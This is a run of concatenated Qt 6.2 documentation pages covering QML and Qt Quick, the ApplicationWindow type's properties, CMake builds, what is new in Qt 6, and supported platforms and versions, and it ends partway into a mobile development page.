

Qt 6.2
======

 Qt is a full development framework with tools designed to streamline the creation of applications and user interfaces for desktop, embedded, and mobile platforms.

 

Qt Framework
------------

 Intuitive [API](https://doc.qt.io/qt-6.2/reference-overview.html)s for [C++](https://doc.qt.io/qt-6.2/classes.html) and JavaScript-like programming with [Qt Quick](qmlapplications) for rapid UI creation.

 

Qt Creator IDE
--------------

 A powerful cross-platform [integrated development environment](https://doc.qt.io/qtcreator/index.html), including [UI designer](https://doc.qt.io/qtcreator/creator-design-mode.html) tools and on-device [debugging](https://doc.qt.io/qtcreator/creator-debugging.html).

 

Tools and Toolchains
--------------------

 [Internationalization](internationalization) support, [embedded](embedded-linux) toolchains, [Build with CMake](cmake-manual), and more.

 

Licenses Used in Qt
-------------------

 Qt Framework and tools are available under both open-source and commercial [licenses](https://doc.qt.io/qt-6.2/licensing.html).

 The commercially licensed Qt contains additional functionality and productivity tools. For details, see <http://www.qt.io/download/>.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/index.html>

QML Applications
================

 QML is a declarative language that allows user interfaces to be described in terms of their visual components and how they interact and relate with one another. It is a highly readable language that was designed to enable components to be interconnected in a dynamic manner, and it allows components to be easily reused and customized within a user interface. Using the `QtQuick` module, designers and developers can easily build fluid animated user interfaces in QML, and have the option of connecting these user interfaces to any back-end C++ libraries.

 What is QML?
------------

 QML is a user interface specification and programming language. It allows developers and designers alike to create highly performant, fluidly animated and visually appealing applications. QML offers a highly readable, declarative, JSON-like syntax with support for imperative JavaScript expressions combined with dynamic property bindings.

 
```
import QtQuick
import QtQuick.Controls

ApplicationWindow {
    width: 400
    height: 400
    visible: true

    Button {
        id: button
        text: "A Special Button"
        background: Rectangle {
            implicitWidth: 100
            implicitHeight: 40
            color: button.down ? "#d6d6d6" : "#f6f6f6"
            border.color: "#26282a"
            border.width: 1
            radius: 4
        }
    }
}
```
 The QML language and engine infrastructure is provided by the [Qt QML](qtqml-index) module. For in-depth information about the QML language, please see the [Qt QML](qtqml-index) module documentation.

 The following pages contain more information about QML:

 * [First Steps with QML](qmlfirststeps) - begin using QML with these examples
* [Creating Qt Quick Projects in Qt Creator](https://doc.qt.io/qtcreator/quick-projects.html)
* [The QML Reference](qmlreference) - reference about the QML constructs and features
* [QML Coding Conventions](qml-codingconventions)
* [Glossary of QML Terms](qml-glossary)
* [All QML APIs by Module](https://doc.qt.io/qt-6.2/modules-qml.html)

 What is Qt Quick?
-----------------

 Qt Quick is the standard library of QML types and functionality for QML. It includes visual types, interactive types, animations, models and views, particle effects and shader effects. A QML application developer can get access to all of that functionality with a single import statement.

 The `QtQuick` QML library is provided by the [Qt Quick](qtquick-index) module. For in-depth information about the various QML types and other functionality provided by Qt Quick, please see the [Qt Quick](qtquick-index) module documentation. Qt Quick adds visual types, animation types, and other QML types in addition to the standard QML types from Qt QML.

 * [Visual types in QML](https://doc.qt.io/qt-6.2/qtquick-usecase-visual.html)
* [Responding to User Input in QML](https://doc.qt.io/qt-6.2/qtquick-usecase-userinput.html)
* [Animations in QML](https://doc.qt.io/qt-6.2/qtquick-usecase-animations.html)
* [Displaying Text in QML](https://doc.qt.io/qt-6.2/qtquick-usecase-text.html)
* [Layouts in QML](https://doc.qt.io/qt-6.2/qtquick-usecase-layouts.html)
* [Style and Theme Support](https://doc.qt.io/qt-6.2/qtquick-usecase-styling.html)
* [Integrating JavaScript in QML](https://doc.qt.io/qt-6.2/qtquick-usecase-integratingjs.html)

 ### Buttons, Menus, and other Controls

 For a set of UI controls, the [Qt Quick Controls](qtquickcontrols-index) module implements several controls such as buttons, menus, and views. These controls come with several built-in styles that can be used, and also support the creation of custom styles.

 Qt Quick Projects
-----------------

 [Qt Creator](https://doc.qt.io/qt-6.2/qtdoc-tutorials-alarms-example.html#qt-creator) sets up project environments for the following types of Qt Quick applications:

 * **Scroll** - scroll-based navigation
* **Stack** - stack-based navigation
* **Swipe** - page-based application with swipe navigation
* **Python** - [Qt for Python](https://doc.qt.io/qtforpython/index.html) projects can have QML UIs and have Qt Creator support

 For more information about Qt Quick applications, visit the following pages:

 * [Creating Qt Quick Projects](https://doc.qt.io/qtcreator/quick-projects.html)
* [Design Tools](https://doc.qt.io/qt-6.2/topics-app-development.html#design-tools) - tools for designing UIs

 Code Samples and Demos
----------------------

 To learn more about uses of QML code, there are several code samples which show how QML types are used. In addition, there are several demos which show how QML code is used in applications.

 * [Getting Started Programming with Qt Quick](https://doc.qt.io/qt-6.2/qtdoc-tutorials-alarms-example.html) - a tutorial showing the creation of a simple QML text editor.
* [Qt Quick Examples and Tutorials](qtquick-codesamples)

 Advanced Application Development Topics
---------------------------------------

 * [Integrating QML and C++](https://doc.qt.io/qt-6.2/qtqml-cppintegration-topic.html)
* [Deploying QML Applications](https://doc.qt.io/qt-6.2/qtquick-deployment.html)
* [Best Practices for QML and Qt Quick](qtquick-bestpractices)
* [Performance Considerations and Suggestions](qtquick-performance)
* [Internationalization and Localization](qtquick-internationalization)
* Testing and Debugging
	+ [Prototyping with the qml runtime tool](qtquick-qml-runtime)
	+ [Debugging QML Applications](qtquick-debugging)
	+ [Qt Quick Test: QML Unit Testing Framework](qtquicktest-index)

 Related Topics
--------------

 * [All QML Types](https://doc.qt.io/qt-6.2/qmltypes.html)
* [All QML APIs by Module](https://doc.qt.io/qt-6.2/modules-qml.html)
* [Obsolete QML Types](https://doc.qt.io/qt-6.2/obsoleteqmltypes.html)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qmlapplications.html>

ApplicationWindow QML Type
==========================

 Styled top-level window with support for a header and footer. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.7 |
|  Inherits: | [Window](qml-qtquick-window) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-applicationwindow-members.html)

 Properties
----------

 * **[activeFocusControl](qml-qtquick-controls2-applicationwindow#activeFocusControl-prop)** : Control
* **[background](qml-qtquick-controls2-applicationwindow#background-prop)** : Item
* **[contentData](qml-qtquick-controls2-applicationwindow#contentData-prop)** : list<Object>
* **[contentItem](qml-qtquick-controls2-applicationwindow#contentItem-prop)** : Item
* **[font](qml-qtquick-controls2-applicationwindow#font-prop)** : font
* **[footer](qml-qtquick-controls2-applicationwindow#footer-prop)** : Item
* **[header](qml-qtquick-controls2-applicationwindow#header-prop)** : Item
* **[locale](qml-qtquick-controls2-applicationwindow#locale-prop)** : Locale
* **[menuBar](qml-qtquick-controls2-applicationwindow#menuBar-prop)** : Item

 Attached Properties
-------------------

 * **[activeFocusControl](qml-qtquick-controls2-applicationwindow#activeFocusControl-attached-prop)** : Control
* **[contentItem](qml-qtquick-controls2-applicationwindow#contentItem-attached-prop)** : Item
* **[footer](qml-qtquick-controls2-applicationwindow#footer-attached-prop)** : Item
* **[header](qml-qtquick-controls2-applicationwindow#header-attached-prop)** : Item
* **[menuBar](qml-qtquick-controls2-applicationwindow#menuBar-attached-prop)** : Item
* **[window](qml-qtquick-controls2-applicationwindow#window-attached-prop)** : ApplicationWindow

 Detailed Description
--------------------

 ApplicationWindow is a [Window](qml-qtquick-window) which makes it convenient to add a [menu bar](qml-qtquick-controls2-applicationwindow#menuBar-attached-prop), [header](qml-qtquick-controls2-applicationwindow#header-attached-prop) and [footer](qml-qtquick-controls2-applicationwindow#footer-attached-prop) item to the window.

 You can declare ApplicationWindow as the root item of your application, and run it by using [QQmlApplicationEngine](qqmlapplicationengine). In this way you can control the window's properties, appearance and layout from QML.

 ![]



```
import QtQuick.Controls 2.12

ApplicationWindow {
    visible: true

    menuBar: MenuBar {
        // ...
    }

    header: ToolBar {
        // ...
    }

    footer: TabBar {
        // ...
    }

    StackView {
        anchors.fill: parent
    }
}
```
  **Note:** By default, an ApplicationWindow is not visible.

  ### Attached ApplicationWindow Properties

 Due to how [Scope and Naming Resolution](https://doc.qt.io/qt-6.2/qtqml-documents-topic.html#scope-and-naming-resolution) works in QML, it is possible to reference the `id` of the application root element anywhere in its child QML objects. Even though this approach is fine for many applications and use cases, for a generic QML component it may not be acceptable as it creates a dependency to the surrounding environment.

 ApplicationWindow provides a set of attached properties that can be used to access the window and its building blocks from places where no direct access to the window is available, without creating a dependency to a certain window `id`. A QML component that uses the ApplicationWindow attached properties works in any window regardless of its `id`.

 **See also** [Customizing ApplicationWindow](qtquickcontrols2-customize#customizing-applicationwindow), [Overlay](qml-qtquick-controls2-overlay), [Page](qml-qtquick-controls2-page), [Container Controls](qtquickcontrols2-containers), and [Focus Management in Qt Quick Controls](qtquickcontrols2-focus).

 Property Documentation
----------------------

 ###  [read-only] activeFocusControl : [Control](qml-qtquick-controls2-control)

 This property holds the control that currently has active focus, or `null` if there is no control with active focus.

 The difference between [Window::activeFocusItem](qml-qtquick-window#activeFocusItem-prop) and [ApplicationWindow::activeFocusControl](qml-qtquick-controls2-applicationwindow#activeFocusControl-attached-prop) is that the former may point to a building block of a control, whereas the latter points to the enclosing control. For example, when [SpinBox](qml-qtquick-controls2-spinbox) has focus, activeFocusItem points to the editor and activeFocusControl to the [SpinBox](qml-qtquick-controls2-spinbox) itself.

 **See also** [Window::activeFocusItem](qml-qtquick-window#activeFocusItem-prop).

 ###  background : [Item](qml-qtquick-item)

 This property holds the background item.

 The background item is stacked under the [content item](qml-qtquick-controls2-applicationwindow#contentItem-attached-prop), but above the [background color](qml-qtquick-window#color-prop) of the window.

 The background item is useful for images and gradients, for example, but the [color](qml-qtquick-window#color-prop) property is preferable for solid colors, as it doesn't need to create an item.

  **Note:** If the background item has no explicit size specified, it automatically follows the control's size. In most cases, there is no need to specify width or height for a background item.

  **See also** [Customizing ApplicationWindow](qtquickcontrols2-customize#customizing-applicationwindow), [contentItem](qml-qtquick-controls2-applicationwindow#contentItem-attached-prop), [header](qml-qtquick-controls2-applicationwindow#header-attached-prop), and [footer](qml-qtquick-controls2-applicationwindow#footer-attached-prop).

 ###  [default] contentData : [list](qml-list)<Object>

 This default property holds the list of all objects declared as children of the window.

 The data property allows you to freely mix visual children, resources and other windows in an [ApplicationWindow](qml-qtquick-controls2-applicationwindow).

 If you assign an Item to the contentData list, it becomes a child of the window's [contentItem](qml-qtquick-controls2-applicationwindow#contentItem-attached-prop), so that it appears inside the window. The item's parent will be the window's [contentItem](qml-qtquick-controls2-applicationwindow#contentItem-attached-prop).

 It should not generally be necessary to refer to the contentData property, as it is the default property for [ApplicationWindow](qml-qtquick-controls2-applicationwindow) and thus all child items are automatically assigned to this property.

 **See also** [contentItem](qml-qtquick-controls2-applicationwindow#contentItem-attached-prop).

 ###  [read-only] contentItem : [Item](qml-qtquick-item)

 This property holds the window content item.

 The content item is stacked above the [background](qml-qtquick-controls2-applicationwindow#background-prop) item, and under the [menuBar](qml-qtquick-controls2-applicationwindow#menuBar-attached-prop), [header](qml-qtquick-controls2-applicationwindow#header-attached-prop), and [footer](qml-qtquick-controls2-applicationwindow#footer-attached-prop) items.

 **See also** [background](qml-qtquick-controls2-applicationwindow#background-prop), [menuBar](qml-qtquick-controls2-applicationwindow#menuBar-attached-prop), [header](qml-qtquick-controls2-applicationwindow#header-attached-prop), and [footer](qml-qtquick-controls2-applicationwindow#footer-attached-prop).

 ###  font : [font](qml-font)

 This property holds the font currently set for the window.

 The default font depends on the system environment. [QGuiApplication](qguiapplication) maintains a system/theme font which serves as a default for all application windows. You can also set the default font for windows by passing a custom font to [QGuiApplication::setFont](qguiapplication#setFont)(), before loading any QML. Finally, the font is matched against Qt's font database to find the best match.

 [ApplicationWindow](qml-qtquick-controls2-applicationwindow) propagates explicit font properties to child controls. If you change a specific property on the window's font, that property propagates to all child controls in the window, overriding any system defaults for that property.

 **See also** [Control::font](qml-qtquick-controls2-control#font-prop).

 ###  footer : [Item](qml-qtquick-item)

 This property holds the window footer item. The footer item is positioned to the bottom, and resized to the width of the window. The default value is `null`.

 
```
ApplicationWindow {
    footer: ToolBar {
        // ...
    }
}
```
  **Note:** Assigning a [ToolBar](qml-qtquick-controls2-toolbar), [TabBar](qml-qtquick-controls2-tabbar), or [DialogButtonBox](qml-qtquick-controls2-dialogbuttonbox) as a window footer automatically sets the respective [ToolBar::position](qml-qtquick-controls2-toolbar#position-prop), [TabBar::position](qml-qtquick-controls2-tabbar#position-attached-prop), or [DialogButtonBox::position](qml-qtquick-controls2-dialogbuttonbox#position-prop) property to `Footer`.

  **See also** [menuBar](qml-qtquick-controls2-applicationwindow#menuBar-attached-prop), [header](qml-qtquick-controls2-applicationwindow#header-attached-prop), and [Page::footer](qml-qtquick-controls2-page#footer-prop).

 ###  header : [Item](qml-qtquick-item)

 This property holds the window header item. The header item is positioned at the top of the window, below the menu bar, and resized to the width of the window. The default value is `null`.

 
```
ApplicationWindow {
    header: TabBar {
        // ...
    }
}
```
  **Note:** Assigning a [ToolBar](qml-qtquick-controls2-toolbar), [TabBar](qml-qtquick-controls2-tabbar), or [DialogButtonBox](qml-qtquick-controls2-dialogbuttonbox) as a window header automatically sets the respective [ToolBar::position](qml-qtquick-controls2-toolbar#position-prop), [TabBar::position](qml-qtquick-controls2-tabbar#position-attached-prop), or [DialogButtonBox::position](qml-qtquick-controls2-dialogbuttonbox#position-prop) property to `Header`.

  **See also** [menuBar](qml-qtquick-controls2-applicationwindow#menuBar-attached-prop), [footer](qml-qtquick-controls2-applicationwindow#footer-attached-prop), and [Page::header](qml-qtquick-controls2-page#header-prop).

 ###  locale : [Locale](qml-qtqml-locale)

 This property holds the locale of the window.

 The default locale depends on the system environment. You can set the default locale by calling [QLocale::setDefault](qlocale#setDefault)(), before loading any QML.

 [ApplicationWindow](qml-qtquick-controls2-applicationwindow) propagates the locale to child controls. If you change the window's locale, that locale propagates to all child controls in the window, overriding the system default locale.

 **See also** [Control::locale](qml-qtquick-controls2-control#locale-prop).

 ###  [since QtQuick.Controls 2.3 (Qt 5.10)] menuBar : [Item](qml-qtquick-item)

 This property holds the window menu bar. The menu bar is positioned at the top of the window, above the header, and resized to the width of the window. The default value is `null`.

 
```
ApplicationWindow {
    menuBar: MenuBar {
        // ...
    }
}
```
 This property was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 **See also** [header](qml-qtquick-controls2-applicationwindow#header-attached-prop), [footer](qml-qtquick-controls2-applicationwindow#footer-attached-prop), and [MenuBar](qml-qtquick-controls2-menubar).

 Attached Property Documentation
-------------------------------

 ###  [read-only] ApplicationWindow.activeFocusControl : [Control](qml-qtquick-controls2-control)

 This attached property holds the control that currently has active focus, or `null` if there is no control with active focus. The property can be attached to any item. The value is `null` if the item is not in a window, or the window has no active focus.

 **See also** [Window::activeFocusItem](qml-qtquick-window#activeFocusItem-prop) and [Attached ApplicationWindow Properties](qml-qtquick-controls2-applicationwindow#attached-applicationwindow-properties).

 ###  [read-only] ApplicationWindow.contentItem : [Item](qml-qtquick-item)

 This attached property holds the window content item. The property can be attached to any item. The value is `null` if the item is not in an [ApplicationWindow](qml-qtquick-controls2-applicationwindow).

 **See also** [Attached ApplicationWindow Properties](qml-qtquick-controls2-applicationwindow#attached-applicationwindow-properties).

 ###  [read-only] ApplicationWindow.footer : [Item](qml-qtquick-item)

 This attached property holds the window footer item. The property can be attached to any item. The value is `null` if the item is not in an [ApplicationWindow](qml-qtquick-controls2-applicationwindow), or the window has no footer item.

 **See also** [Attached ApplicationWindow Properties](qml-qtquick-controls2-applicationwindow#attached-applicationwindow-properties).

 ###  [read-only] ApplicationWindow.header : [Item](qml-qtquick-item)

 This attached property holds the window header item. The property can be attached to any item. The value is `null` if the item is not in an [ApplicationWindow](qml-qtquick-controls2-applicationwindow), or the window has no header item.

 **See also** [Attached ApplicationWindow Properties](qml-qtquick-controls2-applicationwindow#attached-applicationwindow-properties).

 ###  [read-only, since QtQuick.Controls 2.3 (Qt 5.10)] ApplicationWindow.menuBar : [Item](qml-qtquick-item)

 This attached property holds the window menu bar. The property can be attached to any item. The value is `null` if the item is not in an [ApplicationWindow](qml-qtquick-controls2-applicationwindow), or the window has no menu bar.

 This property was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 **See also** [Attached ApplicationWindow Properties](qml-qtquick-controls2-applicationwindow#attached-applicationwindow-properties).

 ###  [read-only] ApplicationWindow.window : [ApplicationWindow](qml-qtquick-controls2-applicationwindow)

 This attached property holds the application window. The property can be attached to any item. The value is `null` if the item is not in an [ApplicationWindow](qml-qtquick-controls2-applicationwindow).

 **See also** [Attached ApplicationWindow Properties](qml-qtquick-controls2-applicationwindow#attached-applicationwindow-properties).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-applicationwindow.html>

Getting Started with Qt
=======================

 Hello and welcome to Qt!

 To get you started with Qt, we'll need to know what you'd like to do.

 

|  |  |
| --- | --- |
|  |  |
| **Design UIs*** [Solutions for UI Design](solutions-for-ui-design)
* [Tools for Qt Quick UIs](tools-for-qt-quick-uis)
* [Install Qt Design Studio](install-qt-design-studio)
* [Tools for Qt Widget-Based UIs](tools-for-qt-widget-based-uis)
* [Get and Install Qt](get-and-install-qt)
* [Supported Platforms](supported-platforms)
* [Create Your First Applications](create-your-first-applications)
* [Explore Qt](explore-qt)
 | **Develop applications*** [Solutions for Application Development](solutions-for-application-development)
* [Get and Install Qt](get-and-install-qt)
* [Supported Platforms](supported-platforms)
* [Create Your First Applications](create-your-first-applications)
* [Explore Qt](explore-qt)
 |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/gettingstarted.html>

Build with CMake
================

 `CMake` is a tool to simplify the build process for development projects across different platforms. `CMake` automatically generates build systems, such as Makefiles and Ninja files.

 `CMake` is a third-party tool with its own [documentation](http://www.cmake.org/cmake/help/documentation.html). This manual focuses on how to use `CMake` to build Qt applications and libraries.

 Table of Contents
-----------------

 * [Getting started with CMake](cmake-get-started)
	+ [Build a C++ GUI executable](cmake-get-started#build-a-c-gui-executable)
	+ [Further reading](cmake-get-started#further-reading)
* [Imported targets](cmake-imported-targets)
* [Qt 5 and Qt 6 compatibility](https://doc.qt.io/qt-6.2/cmake-qt5-and-qt6-compatibility.html)
	+ [Versionless targets](https://doc.qt.io/qt-6.2/cmake-qt5-and-qt6-compatibility.html#versionless-targets)
	+ [Versionless commands](https://doc.qt.io/qt-6.2/cmake-qt5-and-qt6-compatibility.html#versionless-commands)
	+ [Supporting older Qt 5 versions](https://doc.qt.io/qt-6.2/cmake-qt5-and-qt6-compatibility.html#supporting-older-qt-5-versions)
	+ [Recommended practices](https://doc.qt.io/qt-6.2/cmake-qt5-and-qt6-compatibility.html#recommended-practices)
* [CMake Variable Reference](cmake-variable-reference)
	+ [Module variables](cmake-variable-reference#module-variables)
	+ [Installation variables](cmake-variable-reference#installation-variables)
	+ [Project variables](cmake-variable-reference#project-variables)
* [CMake Property Reference](cmake-property-reference)
	+ [Qt6::Core](cmake-property-reference#cmake-properties-qtcore)
* [CMake Command Reference](cmake-command-reference)
	+ [Qt6::Core](cmake-command-reference#cmake-commands-qtcore)
	+ [Qt6::DBus](cmake-command-reference#cmake-commands-qtdbus)
	+ [Qt6::LinguistTools](cmake-command-reference#cmake-macros-qtlinguisttools)
	+ [Qt6::Qml](cmake-command-reference#cmake-commands-qtqml)
	+ [Qt6::RemoteObjects](cmake-command-reference#cmake-macros-qtremoteobjects)
	+ [Qt6::Scxml](cmake-command-reference#cmake-macros-qtscxml)
	+ [Qt6::Widgets](cmake-command-reference#cmake-macros-qtwidgets)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/cmake-manual.html>

What's New in Qt 6
==================

 Qt 6 lets you develop applications with intuitive user interfaces for multiple devices and platforms, faster than ever before. Development is easy with **Qt Creator**, letting you design, code, test, and deploy Qt applications. Qt 6 is highly compatible with Qt 5. Developers of Qt 5 applications can move seamlessly to Qt 6 while retaining applications' functionality.

 Developing User Interfaces with Qt
----------------------------------

 Qt offers two UI frameworks for developers: **Qt Widgets** and **Qt Quick**. [Qt Widgets](qtwidgets-index) is cross-platform and tightly integrates with desktop look and feel. [Qt Quick](qtquick-index) UIs are dynamic with fluid animations and are optimal for touch interfaces. You can implement widget UIs in C++ and you can implement Qt Quick UIs declaratively with QML and JavaScript. The [User Interfaces](https://doc.qt.io/qt-6.2/topics-ui.html) page compares both Qt Quick and Qt Widgets UIs.

 ### Designing UIs

 Qt Quick Designer lets you design UIs from within Qt Creator. You can import 2D and 3D assets, animate components, and create layouts. Testing the designs is possible through a live preview on devices are through an online browser.

 If you only design UIs and don't need the developer tools and functions, you can use [Qt Design Studio](https://doc.qt.io/qtdesignstudio/index.html). It enables you to define the look and feel of the UI from wireframe to final implementation with preset UI components. You can import UI design files from 2D and 3D tools to Qt Design Studio, which can turn them into code for developers. Qt Design Studio prototyping features bring your designs to life and simulate and validate interactions and dynamic behavior. You can test, preview, and fine-tune your designs to pixel-perfection live on the desktop or target device.

 Developing Applications
-----------------------

 [Qt Creator](https://doc.qt.io/qtcreator/index.html) is a complete IDE for developing Qt applications. You can setup project files, code, debug, package, and deploy from within Qt Creator. You can configure either [CMake](cmake-manual) or [qmake](qmake-manual) to build projects when you create them using wizard templates.

 Cross-Platform Development
--------------------------

 Qt is cross-platform and you can deploy onto different devices and platforms. [Qt Creator](https://doc.qt.io/qtcreator/index.html) has built-in project templates and kits for different platforms and devices. In addition, you can port Qt and create custom targets with [Qt Platform Abstraction](qpa).

 Qt Essential and Qt Add-ons
---------------------------

 In Qt 6, the installation experience is easier and more flexible than before.The installation includes the **Qt Essentials** and a few of the most commonly used **Qt Add-Ons**. The Qt Add-Ons are moved outside of the main installation, but still available by running the installer. You can read the list of Qt modules in the [Qt Modules](https://doc.qt.io/qt-6.2/qtmodules.html) page.

 Where To Go From Here
---------------------

 * [Getting Started with Qt](gettingstarted)
* [Changes to Qt Modules in Qt 6](https://doc.qt.io/qt-6.2/modulechanges.html)

 New Features by Qt Version
--------------------------

 * [What's New in Qt 6.2](https://doc.qt.io/qt-6.2/whatsnew62.html)
* [What's New in Qt 6.1](https://doc.qt.io/qt-6.2/whatsnew61.html)
* [What's New in Qt 6.0](https://doc.qt.io/qt-6.2/whatsnew60.html)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qt-intro.html>

Supported Platforms
===================

 The following platforms are supported in Qt 6.2. For information about prior Qt releases, please consult the relevant version in the [Qt Documentation Archives](http://doc.qt.io/archives/).

 Supported platforms are actively maintained, subjected to testing, and bugs discovered in these platforms are prioritized for correction. Significant errors discovered in testing can impact release dates.

 The Qt Company offers commercial support for all officially supported platforms and configurations.

 Configurations not listed below are not officially supported by the Qt Project. However, Qt may still run on unsupported platforms and configurations. The Qt Company, Qt partners, open source developers, and community users are able to provide assistance in this situation.

  **Note:** Support for specific configurations or operating system versions may end before the support for Qt 6.2 does. A subsequent patch release of Qt 6.2 may drop support for a configuration or replace it with a currently-supported version.

  Desktop Platforms
-----------------

 ### 
[Linux/X11](linux)

 

| Distribution | Architecture | Compiler | Notes |
| --- | --- | --- | --- |
| CentOS Linux 8.2 | `x86_64` | GCC 10 (toolset) |  |
| openSUSE 15.3 | `x86_64` | GCC 9 |  |
| SUSE Linux Enterprise Server 15 SP3 | `x86_64` | GCC 10 |  |
| Ubuntu 20.04 | `x86_64` | GCC as provided by Canonical, GCC 9.x |  |
| Generic Linux | `x86` and `x86_64` | GCC 9 |  |

 ### 
[macOS](macos)

 

| Target Platform | Architecture | Build Environment |
| --- | --- | --- |
| macOS 10.14, 10.15, 11 | `x86_64`, `x86_64h`, and `arm64` | Xcode 12 (11 SDK) |

 ### 
[Windows](windows)

 

| Operating System | Architecture | Compiler |
| --- | --- | --- |
| Windows 10 (1809 or later) | `x86_64` | MSVC 2019, MinGW 11.2 |  |
| Windows on ARM | `arm64` | MSVC 2019 | Technology Preview |

 Mobile Platforms
----------------

 ### 
[Android](android)

 

| Distribution | Architecture | Compiler | Notes |
| --- | --- | --- | --- |
| Android 6.0 or later (API level 23 or higher) | `armv7a`, `x86`, `arm64-v8`, and `x86_64` | Clang 11.0.5 (NDK r22b) as provided by Google, MinGW 11.2 |  |

 ### 
[iOS](ios)

 

| Target Platform | Architecture | Build Environment | Notes |
| --- | --- | --- | --- |
| iOS 13, iOS 14, iOS 15 | `armv8` (`arm64`) | Xcode 12 (iOS 14 SDK), **Xcode 13** (iOS 15 SDK) |  |

 Embedded Platforms
------------------

 ### Android Automotive OS

 The [Qt for Android Automotive](https://doc.qt.io/QtAndroidAutomotive/) solution is based on [Qt for Android](android), supporting Android 10 and 11, with the Android Automotive car API bindings.

 ### 
[Embedded Linux](embedded-linux)

 Refer to [Configure an Embedded Linux Device](configure-linux-device) for information on generic cross-compilation of Qt for Embedded Linux devices.

 For further embedded platform support, please consult the [Qt for Device Creation](http://doc.qt.io/QtForDeviceCreation) documentation.

 ### Real Time Operating Systems

 

| Operating System | Architecture | Compiler | Provided in |
| --- | --- | --- | --- |
| INTEGRITY 19.0.13 | `arm64` | GHS compiler version 2020.1.4 or newer | [Qt for INTEGRITY](integrity) |
| QNX 7.1 |  |  | [Qt for QNX](qnx) |

 Availability of Packages
------------------------

 You can download the Qt installers and source packages from the [Downloads](http://qt.io/download) page. For more information, visit the [Getting Started with Qt](gettingstarted) page.

  **Note:** All the supported configurations are not provided as binary packages in the Qt installer. However, the intention is to provide the most widely-used configurations for the developer's convenience.

   **Note:** Linux binary packages are linked against glibc 2.28. If you are using a glibc version older than that you need to build Qt from sources or upgrade glibc to 2.28 or newer.

  ### Exceptions

 Individual modules might be available only on some platforms, or they might not support all configurations. For example, as Qt WebEngine has Chromium as a third-party dependency, platform or configuration limitations upstream also apply to Qt WebEngine.

 The documentation for each module contains detailed information about any exceptions the module has from the general platform and configuration support as described on this page.

 Deployment of Qt Applications
-----------------------------

 The deployment procedure for each platform is different and they are covered in greater detail in their platform pages. Meanwhile, there is a deployment article for summarizing the deployment procedure in general.

 * [Deploying Qt Applications](https://doc.qt.io/qt-6.2/deployment.html)
	+ [Android](https://doc.qt.io/qtcreator/creator-deploying-android.html)
	+ [iOS](ios)
	+ [Linux/X11](https://doc.qt.io/qt-6.2/linux-deployment.html)
	+ [macOS](https://doc.qt.io/qt-6.2/macos-deployment.html)
	+ [Windows](https://doc.qt.io/qt-6.2/windows-deployment.html)

 Supported Qt Versions
---------------------

 

| Version | Release date | Standard Support Until | Extended Support Availability |
| --- | --- | --- | --- |
| 5.0 (5.0.1) | 2012-12-19 | Ended | Yes |
| 5.1 (5.1.1) | 2013-07-03 | Ended | Yes |
| 5.2 (5.2.1) | 2013-12-12 | Ended | Yes |
| 5.3 (5.3.2) | 2014-05-20 | Ended | Yes |
| 5.4 (5.4.2) | 2014-12-10 | Ended | Yes |
| 5.5 (5.5.1) | 2015-07-01 | Ended | Yes |
| 5.6 (5.6.3) | 2016-03-16 | Ended | Yes |
| 5.7 (5.7.1) | 2016-06-16 | Ended | Yes |
| 5.8 | 2017-01-23 | Ended | Yes |
| 5.9 (5.9.9) | 2017-05-31 | Ended | Yes |
| 5.10 (5.10.1) | 2017-11-30 | Ended | Yes |
| 5.11 (5.11.3) | 2018-05-22 | Ended | Yes |
| 5.12 (5.12.11) LTS | 2018-12-05 | 2021-12-05 | Yes |
| 5.13 (5.13.2) | 2019-06-19 | Ended | Yes |
| 5.14 (5.14.2) | 2019-12-12 | Ended | Yes |
| 5.15 (5.15.6) LTS | 2020-05-26 | 2023-05-26 | Yes |
| 6.0 (6.0.4) | 2020-12-08 | 2021-12-08 | Yes |
| 6.1 (6.1.3) | 2021-05-06 | 2022-05-06 | Yes |
| 6.2 (6.2.1) LTS | 2021-09-30 | 2024-09-30 | Yes |

 General Legal Disclaimer
------------------------

 Please note that Qt is offered on an "as is" basis without warranty of any kind and that our products are not error or bug free. To the maximum extent permitted by applicable law, The Qt Company on behalf of itself and its suppliers, disclaims all warranties and conditions, either express or implied, including, but not limited to, implied warranties of merchantability, fitness for a particular purpose, title and non-infringement with regard to the Licensed Software.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/supported-platforms.html>

Mobile Development
==================

 Qt supports development and deployment of mobile applications.

 The following pages contain information about setting up Qt Creator and how to get started with the mobile platforms:

 * [Android](android)
* [iOS](ios)

 Android
-------

 There is support for Android development in Qt 6. With Qt Creator, you can connect to devices, develop, test, and package Android applications.

 

| Distribution | Architecture | Compiler | Notes |
| --- | --- | --- | --- |
| Android 6.0 or later (API level 23 or higher) | `armv7a`, `x86`, `arm64-v8`, and `x86_64` | Clang 11.0.5 (NDK r22b) as provided by Google, MinGW 11.2 |  |

 * [Qt for Android](android)
* [Android Examples](https://doc.qt.io/qt-6.2/examples-android.html)

 Apple Platforms - iOS, tvOS, and watchOS
----------------------------------------

 There is support for various Apple mobile devices such as iPad, iPhone, Apple TV, and Apple Watch. Qt Creator supplements [Xcode](http://itunes.apple.com/us/app/xcode/id497799835?ls=1&mt=12) for development and deployment.

 

| Target Platform | Architecture | Build Environment | Notes |
| --- | --- | --- | --- |
| iOS 13, iOS 14, iOS 15 | `armv8` (`arm64`) | Xcode 12 (iOS 14 SDK), **Xcode 13** (iOS 15 SDK) |  |

 * [Qt for iOS](ios)
* [iOS Examples](https://doc.qt.io/qt-6.2/examples-ios.html)

 Tools for Mobile Development
----------------------------

